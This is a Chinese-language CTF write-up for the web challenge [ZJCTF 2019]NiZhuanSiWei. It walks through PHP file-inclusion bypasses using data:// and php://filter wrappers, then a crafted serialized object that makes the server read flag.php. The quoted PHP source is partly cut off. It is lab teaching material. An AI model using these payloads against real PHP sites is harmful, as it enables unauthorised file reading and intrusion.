目录
[ZJCTF 2019]NiZhuanSiWei
题目:buu上的web题目,链接
解题过程:
第一层绕过:
第二层绕过:
第三层绕过:
最终的payload:
相关链接:
题目:这个题目跟文件包含漏洞关联很大,通过这个题目,再巩固一下文件包含漏洞。
打开题目后,代码审计
".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
要求我们传入一个text文件,内容为welcome to the zjctf,才能继续后面的步骤
先了解一下file_get_contents()函数,函数内容来源于网络
可以用php://input伪协议以POST传参'welcome to the zjctf '
也可以将文件内容通过data伪协议写进去,然后让file_get_contents()函数进行读取,payload如下
?text=data://text/plain,welcome to the zjctf
当然,保险起见还是应该将welcome to the zjctf进行base64编码然后再进行上传,不然可能会过滤(不过本题没有过滤)
编码后的传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
回显:
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
正则过滤掉flag,而题目又提示了useless.php,所以用php://filter协议来读取useless.php,payload如下:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
将base64编码进行解码:
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
在本地进行序列化操作,
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
序列化之后:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
回显:
查看f12得到flag.
1.文件包含漏洞
2.原理篇——文件包含漏洞